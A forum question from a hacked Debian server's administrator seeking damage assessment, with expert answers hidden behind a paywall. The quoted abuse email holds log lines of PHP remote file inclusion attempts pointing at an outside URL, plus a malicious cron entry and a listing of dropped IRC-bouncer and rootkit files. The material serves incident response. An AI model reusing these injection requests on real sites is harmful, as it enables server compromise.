Advertisement

12.12.2007 at 03:13PM PST, ID: 23019921
[x]
Attachment Details
[x]
The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

7.4

Hacked Linux Server

Asked by julianmatz in Linux Network Security, Linux, Debian Linux

Tags: ,

Hi! I have just noticed that my server has been hacked. I'm hoping someone can help and assist with the damage assessment/control.

It started with an e-mail I received, which led me to search through the system log. I have no idea if the e-mail has anything to do with the hack but I've attached a copy anyway.

The entry in my log showed multiple cron jobs which had been executed. The entries look like so:

Dec 12 21:48:01 xxxxxx /USR/SBIN/CRON[18203]: (www-data) CMD (/var/www/user/html/components/com_vti/_vti/y2kupdate >/dev/null 2>&1)

I checked the _vti directory which is a sub-directory of a Joomla CMS installation that belongs to one of the users on the server. The directory contained the files below (attached), of which some seem to be shell scripts. Please let me know if you'd like me to paste the contents of any of the files.

I know that the user did not put the files there himself, and the directory does have world write permissions, so I guess someone else could have put them there somehow. I'm not sure how the hacker was able to add a cron job, and I have no idea what they could have achieved through this hack. I'm thinking (and hoping) that no shell scripts were executed as the user www-data should not have any permissions to do so.

Anyway, I archived and downloaded all the files to my (Windows) PC, which runs Norton. As soon as I extracted the archive, Norton notified me that it had found two infected files, "Hacktool" and "Hacktool.Rootkit". In the notification box, it said that both were a "High Risk", but when I checked for more information about these on the Symantec website, it said that both were "Low" and "Very Low" risks. I also ran chkrootkit on my server and it did not detect any risks or infections.

Any help or comments about this would be greatly appreciated. Please let me know if you'd like any more details.

The server is running Debian Etch.
Start Free Trial
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
=====================================
E-Mail
=====================================
 
The log included below shows a PHP Injection attempt from xxx.xxx.xxx.xx, an IP address in one of your netblocks. 
 
The IP address of the system reporting this attack is xx.xxx.xxx.xx
Destination port for all entries is TCP/80. 
Times listed are UTC and are accurate. 
 
It is likely that the machine having IP address xxx.xxx.xxx.xx is itself compromised, and is launching 
this same attack against many other systems besides ours. 
 
Please deal with this incident in accordance with your Acceptable Use Policy. 
 
Thank You 
 
***@*****.com 
 
xx.xxx.xxx.xx (******.net) Server Log: 
 
xxx.xxx.xxx.xx - - [11/Dec/2007:14:50:29 +0000] "GET /install.php?install_dir=http://www.sharenotesstore.com/can? HTTP/1.1" 301 684 "-" "libwww-perl/5.805" (forum.malwareremoval.com) "-" 
xxx.xxx.xxx.xx - - [11/Dec/2007:14:50:30 +0000] "GET /forum/install.php?install_dir=http://www.sharenotesstore.com/can%3f HTTP/1.1" 403 483 "-" "libwww-perl/5.805" (malwareremoval.com) "-"
 
=====================================
Files in /var/www/user/html/components/com_vti/_vti/
=====================================
-rwxr-xr-x 1 www-data www-data    283 Aug 28  2006 config
-rw------- 1 www-data www-data   1002 Mar 10  2004 config.h
-rw-r--r-- 1 www-data www-data     81 Dec  9 21:19 cron.d
-rwxr-xr-x 1 www-data www-data    337 Aug 28  2006 fuck
drwxr-xr-x 2 www-data www-data   8192 May 31  2002 help
-rwxr-xr-x 1 www-data www-data 202544 Mar 10  2004 httpd
drwxr-xr-x 2 www-data www-data   4096 Jan 12  2002 lang
drwxr-xr-x 2 www-data www-data   4096 Dec  9 21:18 log
drwxr-xr-x 2 www-data www-data   4096 Dec 10 15:19 motd
-rwxr-xr-x 1 www-data www-data  14306 Nov 13  2003 proc
-rw------- 1 www-data www-data      6 Dec  9 21:15 psybnc.pid
-rwxr-xr-x 1 www-data www-data     63 Aug 28  2006 run
drwxr-xr-x 2 www-data www-data   4096 Dec  5  2004 scripts
-rw------- 1 www-data www-data    624 Dec  9 21:19 tmp
-rw-r--r-- 1 www-data www-data     45 Dec  9 21:19 tmp.dir
-rw------- 1 www-data www-data    624 Dec  9 21:18 tmp.old
-rwxr--r-- 1 www-data www-data  21516 Sep 25  2002 xh
-rwxr--r-- 1 www-data www-data    272 Dec  9 21:19 y2kupdate
[+][-]12.12.2007 at 07:53PM PST, ID: 20462253

View this solution now by starting your 7-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

 

About this solution

Zones: Linux Network Security, Linux, Debian Linux
Tags: debian, etch
Sign Up Now!
Solution Provided By: evilrix
Participating Experts: 2
Solution Grade: A
 
 
[+][-]12.14.2007 at 01:41PM PST, ID: 20474692

Often, when Experts are collaborating with members who have asked questions, they will request additional information about the problem. Askers respond with an author comment like this one.

Start your 7-day free trial to view this Author Comment or ask the Experts your question.

 
[+][-]12.14.2007 at 02:45PM PST, ID: 20475049

Assisted solutions are selected by the member who asked the question as a comment that contributed to their question's solution.

Start your 7-day free trial to view this Assisted Solution or ask the Experts your question.

 
[+][-]12.23.2007 at 11:54PM PST, ID: 20523873

Assisted solutions are selected by the member who asked the question as a comment that contributed to their question's solution.

Start your 7-day free trial to view this Assisted Solution or ask the Experts your question.

 
[+][-]01.21.2008 at 06:49PM PST, ID: 20711573

Experts Exchange has a courteous staff of administrators who help members get the most out of the website by means of administrative comments like this one.

Start your 7-day free trial to view this Administrative Comment or ask the Experts your question.

 
[+][-]01.21.2008 at 08:50PM PST, ID: 20711987

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
 
Loading Advertisement...
20081112-EE-VQP-42 / EE_QW_2_20070628